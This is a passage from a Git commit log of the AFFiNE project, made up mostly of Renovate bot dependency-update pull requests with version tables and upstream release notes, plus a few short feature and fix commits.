| [openai](https://redirect.github.com/openai/openai-node) | [`4.78.1` -> `4.79.1`](https://renovatebot.com/diffs/npm/openai/4.78.1/4.79.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.78.1/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.78.1/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.1` -> `6.28.2`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.1/6.28.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.1/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.1/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.135` -> `1.0.136` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.135/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.135/1.0.136?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.2` -> `7.2.3`](https://renovatebot.com/diffs/npm/undici/7.2.2/7.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.2/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.2/7.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.102.0` -> `3.103.2`](https://renovatebot.com/diffs/npm/wrangler/3.102.0/3.103.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.102.0/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.102.0/3.103.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.731.1`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37311-2025-01-18)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.731.0...v3.731.1)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.731.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37310-2025-01-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.730.0...v3.731.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.730.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37300-2025-01-16)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.729.0...v3.730.0)

##### Bug Fixes

-   **nested-clients:** create nested clients for internal use ([#&#8203;6791](https://redirect.github.com/aws/aws-sdk-js-v3/issues/6791)) ([5c53685](5c5368554d))

### [`v3.729.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37290-2025-01-15)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.1...v3.729.0)

##### Features

-   **client-s3:** This change enhances integrity protections for new SDK requests to S3. S3 SDKs now support the CRC64NVME checksum algorithm, full object checksums for multipart S3 objects, and new default integrity protections for S3 requests. ([a550721](a550721e05))

#### [3.726.1](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1) (2025-01-10)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>chromaui/addon-visual-tests (@&#8203;chromatic-com/storybook)</summary>

### [`v3.2.4`](https://redirect.github.com/chromaui/addon-visual-tests/compare/v3.2.3...v3.2.4)

[Compare Source](https://redirect.github.com/chromaui/addon-visual-tests/compare/v3.2.3...v3.2.4)

</details>

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.67`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/%40napi-rs/cli%403.0.0-alpha.67)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.66...@napi-rs/cli@3.0.0-alpha.67)

##### What's Changed

-   chore(deps): update dependency [@&#8203;oxc-node/core](https://redirect.github.com/oxc-node/core) to ^0.0.17 by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2427](https://redirect.github.com/napi-rs/napi-rs/pull/2427)
-   chore(deps): update vitest monorepo to v3 (major) by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2429](https://redirect.github.com/napi-rs/napi-rs/pull/2429)
-   chore(deps): update dependency vite-plugin-node-polyfills to ^0.23.0 by [@&#8203;renovate](https://redirect.github.com/renovate) in [https://github.com/napi-rs/napi-rs/pull/2431](https://redirect.github.com/napi-rs/napi-rs/pull/2431)
-   fix(cli): s390x cross toolchain path by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2432](https://redirect.github.com/napi-rs/napi-rs/pull/2432)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi-derive@3.0.0-alpha.25...[@&#8203;napi-rs/cli](https://redirect.github.com/napi-rs/cli)[@&#8203;3](https://redirect.github.com/3).0.0-alpha.67

### [`v3.0.0-alpha.66`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.65...@napi-rs/cli@3.0.0-alpha.66)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.65...@napi-rs/cli@3.0.0-alpha.66)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.8`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1108---2025-01-19)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.7...v1.10.8)

##### Bug Fixes

-   **(es/decorators)** Fix init order of `2022-03` impl ([#&#8203;9760](https://redirect.github.com/swc-project/swc/issues/9760)) ([751a310](751a310e87))

-   **(es/testing)** Fix sourcemap generation ([#&#8203;9891](https://redirect.github.com/swc-project/swc/issues/9891)) ([008f2de](008f2dee66))

-   **(es/ts_strip)** Handle ASI hazard in return statement ([#&#8203;9882](https://redirect.github.com/swc-project/swc/issues/9882)) ([121b5fe](121b5fefbc))

-   **(typescript)** Collect usages in extend clauses of classes and interfaces ([#&#8203;9893](https://redirect.github.com/swc-project/swc/issues/9893)) ([ef29ef6](ef29ef6a22))

##### Features

-   **(typescript)** Check computed property names of ts signatures ([#&#8203;9867](https://redirect.github.com/swc-project/swc/issues/9867)) ([caed78a](caed78a710))

##### Performance

-   **(bench)** Run benchmark on a custom runner ([#&#8203;9877](https://redirect.github.com/swc-project/swc/issues/9877)) ([2d6f9a5](2d6f9a5c27))

-   **(es/codegen)** Remove needless allocations ([#&#8203;9890](https://redirect.github.com/swc-project/swc/issues/9890)) ([f230ff2](f230ff2d84))

-   **(es/minifier)** Make the first run of DCE more efficient ([#&#8203;9868](https://redirect.github.com/swc-project/swc/issues/9868)) ([7329824](7329824b82))

-   **(es/minifier)** Adjust parallel threshold ([#&#8203;9872](https://redirect.github.com/swc-project/swc/issues/9872)) ([d5d856c](d5d856cf3b))

-   **(es/minifier)** Box `VarUsageInfo` of `ProgramData` ([#&#8203;9894](https://redirect.github.com/swc-project/swc/issues/9894)) ([fafd754](fafd754f74))

-   **(es/renamer)** Use `IndexSet` for rename queue ([#&#8203;9866](https://redirect.github.com/swc-project/swc/issues/9866)) ([f404720](f404720b8f))

-   **(es/utils)** Optimize `maybe_par_idx_raw` ([#&#8203;9870](https://redirect.github.com/swc-project/swc/issues/9870)) ([46e3d77](46e3d77396))

-   Enable `concurrent` in codspeed bench ([#&#8203;9862](https://redirect.github.com/swc-project/swc/issues/9862)) ([6c2bb13](6c2bb13f9d))

##### Refactor

-   **(atoms)** Rename `FastAtom` to `UnsafeAtom` ([#&#8203;9873](https://redirect.github.com/swc-project/swc/issues/9873)) ([3df8b44](3df8b443a1))

-   **(es/minifier)** Add a way to profile minifier for real-world inputs ([#&#8203;9881](https://redirect.github.com/swc-project/swc/issues/9881)) ([9657294](9657294ff1))

-   **(es/minifier)** Use `chili` for `minify-all` example ([#&#8203;9885](https://redirect.github.com/swc-project/swc/issues/9885)) ([197f0bc](197f0bc196))

-   **(es/minifier)** Make `minify-all` profilable ([#&#8203;9888](https://redirect.github.com/swc-project/swc/issues/9888)) ([fbad136](fbad136498))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.7`](https://redirect.github.com/toeverything/design/compare/1.1.6...1.1.7)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.6...1.1.7)

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.13.1`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.13.1)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.13.0...v3.13.1)

##### Patch Changes

-   [#&#8203;345](https://redirect.github.com/cloudflare/wrangler-action/pull/345) [`e819570`](e819570b2d) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - fix: Pages GitHub Deployment not triggering

</details>

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v15.4.1`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1541)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.4.0...v15.4.1)

##### Patch Changes

-   [#&#8203;1504](https://redirect.github.com/lint-staged/lint-staged/pull/1504) [`1c7a45e`](1c7a45ed2c) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Default TypeScript config filenames match JS equivalents.

-   [#&#8203;1504](https://redirect.github.com/lint-staged/lint-staged/pull/1504) [`9cc18c9`](9cc18c9deb) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Add missing conditional exports syntax for TypeScript types.

### [`v15.4.0`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1540)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.3.0...v15.4.0)

##### Minor Changes

-   [#&#8203;1500](https://redirect.github.com/lint-staged/lint-staged/pull/1500) [`a8ec1dd`](a8ec1ddb58) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - *Lint-staged* now provides TypeScript types for the configuration and main Node.js API. You can use the JSDoc syntax in your JS configuration files:

    ```js
    /**
     * @&#8203;filename: lint-staged.config.js
     * @&#8203;type {import('lint-staged').Configuration}
     */
    export default {
      '*': 'prettier --write',
    }
    ```

    It's also possible to use the `.ts` file extension for the configuration if your Node.js version supports it. The `--experimental-strip-types` flag was introduced in [Node.js v22.6.0](https://redirect.github.com/nodejs/node/releases/tag/v22.6.0) and unflagged in [v23.6.0](https://redirect.github.com/nodejs/node/releases/tag/v23.6.0), enabling Node.js to execute TypeScript files without additional configuration.

    ```shell
    export NODE_OPTIONS="--experimental-strip-types"

    npx lint-staged --config lint-staged.config.ts
    ```

##### Patch Changes

-   [#&#8203;1501](https://redirect.github.com/lint-staged/lint-staged/pull/1501) [`9b79364`](9b793640e1) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Handle possible failures when logging user shell for debug info.

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.473.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.473.0): New icons 0.473.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.472.0...0.473.0)

#### Modified Icons 🔨

-   `package` ([#&#8203;2706](https://redirect.github.com/lucide-icons/lucide/issues/2706)) by [@&#8203;sezze](https://redirect.github.com/sezze)

### [`v0.472.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.472.0): New icons 0.472.0

#### New icons 🎨

-   `battery-plus` ([#&#8203;2693](https://redirect.github.com/lucide-icons/lucide/issues/2693)) by [@&#8203;Footagesus](https://redirect.github.com/Footagesus)
-   `map-plus` ([#&#8203;2697](https://redirect.github.com/lucide-icons/lucide/issues/2697)) by [@&#8203;Seanw265](https://redirect.github.com/Seanw265)

#### What's Changed

-   lucide-svelte: Make sure license ends up in SvelteKit bundles by [@&#8203;Lettnald](https://redirect.github.com/Lettnald) in [https://github.com/lucide-icons/lucide/pull/2728](https://redirect.github.com/lucide-icons/lucide/pull/2728)
-   lucide-react: Fixes aliases imports.

**Full Changelog**: https://github.com/lucide-icons/lucide/compare/0.471.1...0.472.0

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.79.1`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4791-2025-01-17)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.79.0...v4.79.1)

Full Changelog: [v4.79.0...v4.79.1](https://redirect.github.com/openai/openai-node/compare/v4.79.0...v4.79.1)

##### Bug Fixes

-   **realtime:** correct import syntax ([#&#8203;1267](https://redirect.github.com/openai/openai-node/issues/1267)) ([74702a7](74702a739f))

### [`v4.79.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4790-2025-01-17)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.78.1...v4.79.0)

Full Changelog: [v4.78.1...v4.79.0](https://redirect.github.com/openai/openai-node/compare/v4.78.1...v4.79.0)

##### Features

-   **client:** add Realtime API support ([#&#8203;1266](https://redirect.github.com/openai/openai-node/issues/1266)) ([7160ebe](7160ebe647))

##### Bug Fixes

-   **logs/azure:** redact sensitive header when DEBUG is set ([#&#8203;1218](https://redirect.github.com/openai/openai-node/issues/1218)) ([6a72fd7](6a72fd7367))

##### Chores

-   fix streaming ([379c743](379c7435ed))
-   **internal:** streaming refactors ([#&#8203;1261](https://redirect.github.com/openai/openai-node/issues/1261)) ([dd4af93](dd4af93979))
-   **types:** add `| undefined` to client options properties ([#&#8203;1264](https://redirect.github.com/openai/openai-node/issues/1264)) ([5e56979](5e569799b9))
-   **types:** rename vector store chunking strategy ([#&#8203;1263](https://redirect.github.com/openai/openai-node/issues/1263)) ([d31acee](d31acee860))

</details>

<details>
<summary>remix-run/react-router (react-router-dom)</summary>

### [`v6.28.2`](https://redirect.github.com/remix-run/react-router/compare/react-router-dom@6.28.1...react-router-dom@6.28.2)

[Compare Source](https://redirect.github.com/remix-run/react-router/compare/react-router-dom@6.28.1...react-router-dom@6.28.2)

</details>

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.136`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.136)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.135...v1.0.136)

-   Optimize serde_json::value::Serializer::serialize_map by using Map::with_capacity ([#&#8203;1230](https://redirect.github.com/serde-rs/json/issues/1230), thanks [@&#8203;goffrie](https://redirect.github.com/goffrie))

</details>

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.2.3`](https://redirect.github.com/nodejs/undici/releases/tag/v7.2.3)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v7.2.2...v7.2.3)

### ⚠️ Security Release ⚠️

Fixes CVE CVE-2025-22150 https://github.com/nodejs/undici/security/advisories/GHSA-c76h-2ccp-4975 (embargoed until 22-01-2025).

#### What's Changed

-   Fix typo in update cache tests action by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/4008](https://redirect.github.com/nodejs/undici/pull/4008)

**Full Changelog**: https://github.com/nodejs/undici/compare/v7.2.2...v7.2.3

</details>

<details>
<summary>cloudflare/workers-sdk (wrangler)</summary>

### [`v3.103.2`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31032)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.103.1...wrangler@3.103.2)

##### Patch Changes

-   [#&#8203;7804](https://redirect.github.com/cloudflare/workers-sdk/pull/7804) [`16a9460`](16a9460ea6) Thanks [@&#8203;vicb](https://redirect.github.com/vicb)! - fix(wrangler): use require.resolve to resolve unenv path

### [`v3.103.1`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31031)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.103.0...wrangler@3.103.1)

##### Patch Changes

-   [#&#8203;7798](https://redirect.github.com/cloudflare/workers-sdk/pull/7798) [`a1ff045`](a1ff045cfc) Thanks [@&#8203;CarmenPopoviciu](https://redirect.github.com/CarmenPopoviciu)! - Reverts [#&#8203;7720](https://redirect.github.com/cloudflare/workers-sdk/issues/7720) as it introduced breakage in some of the C3 templates (eg. Nuxt)

### [`v3.103.0`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31030)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.102.0...wrangler@3.103.0)

##### Minor Changes

-   [#&#8203;5086](https://redirect.github.com/cloudflare/workers-sdk/pull/5086) [`8faf2c0`](8faf2c0741) Thanks [@&#8203;dario-piotrowicz](https://redirect.github.com/dario-piotrowicz)! - add `--strict-vars` option to `wrangler types`

    add a new `--strict-vars` option to `wrangler types` that developers can (by setting the
    flag to `false`) use to disable the default strict/literal types generation for their variables

    opting out of strict variables can be useful when developers change often their `vars` values,
    even more so when multiple environments are involved

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-19 15:48:05 +00:00
CatsJuice
93106dae3b feat(core): track template doc events (#9775)
close AF-2076
2025-01-19 13:13:31 +00:00
pengx17
7713920b71 fix(core): move openinapp guard to workspace scope (#9751) 2025-01-19 10:00:04 +00:00
L-Sun
6ba802fb17 feat(editor): append note to page button (#9762)
Close [BS-2310](https://linear.app/affine-design/issue/BS-2310/note-display-in-page-%E7%9A%84%E8%A1%8C%E4%B8%BA), [BS-2312](https://linear.app/affine-design/issue/BS-2312/edgeless-note-%E7%9A%84-element-toolbar-%E6%B7%BB%E5%8A%A0display-in-page%E6%8C%89%E9%92%AE) and [BS-2313](https://linear.app/affine-design/issue/BS-2313/添加display-in-page的toast提示,以及打开toc的按钮)
2025-01-19 08:35:02 +00:00
CatsJuice
9d61b41c05 feat(core): add template mark on detail page header (#9764)
close AF-2136
2025-01-18 17:02:25 +00:00
CatsJuice
f8abe997f5 fix(core): open template doc on sidebar template entrance (#9766)
close AF-2135, AF-2136, AF-2138, AF-2133
2025-01-18 16:44:05 +00:00
renovate
9c3365aaca chore: bump up vitest monorepo to v3 (major) (#9739)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`^2.1.8` -> `^3.0.0`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.2`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.2)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

#####    🐞 Bug Fixes

-   Don't await an empty timeout after every test  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7281](https://redirect.github.com/vitest-dev/vitest/issues/7281) [<samp>(ef1aa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1aa893)
-   **expect**: Fix `expect().resolves/rejects` chain typings  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7273](https://redirect.github.com/vitest-dev/vitest/issues/7273) [<samp>(fa415)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa415059)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

### [`v3.0.1`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.1)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

#####    🐞 Bug Fixes

-   Revert "fix: re-apply default conditions if using vite 6 or later ([https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071))"  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) and [https://github.com/vitest-dev/vitest/issues/7271](https://redirect.github.com/vitest-dev/vitest/issues/7271) [<samp>(755ec)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/755ecdfa)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7147](https://redirect.github.com/vitest-dev/vitest/issues/7147) [<samp>(537fa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/537fa5ed)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.0)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

Vitest 3 is here! There are a few breaking changes, but we expect the migration to be smooth. This release page lists all changes made to the project during the beta. For the migration guide, please refer to the [documentation](https://vitest.dev/guide/migration.html#migrating-to-vitest-2-0).

#####    🚨 Breaking Changes

-   `spy.mockReset` changes  -  by [@&#8203;Lordfirespeed](https://redirect.github.com/Lordfirespeed) in [https://github.com/vitest-dev/vitest/issues/6426](https://redirect.github.com/vitest-dev/vitest/issues/6426) [<samp>(db7a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/db7a8888)
-   Pass down context to test hooks  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7034](https://redirect.github.com/vitest-dev/vitest/issues/7034) [<samp>(82c2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/82c2e244)
-   Support Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7026](https://redirect.github.com/vitest-dev/vitest/issues/7026) [<samp>(7abe8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7abe854c)
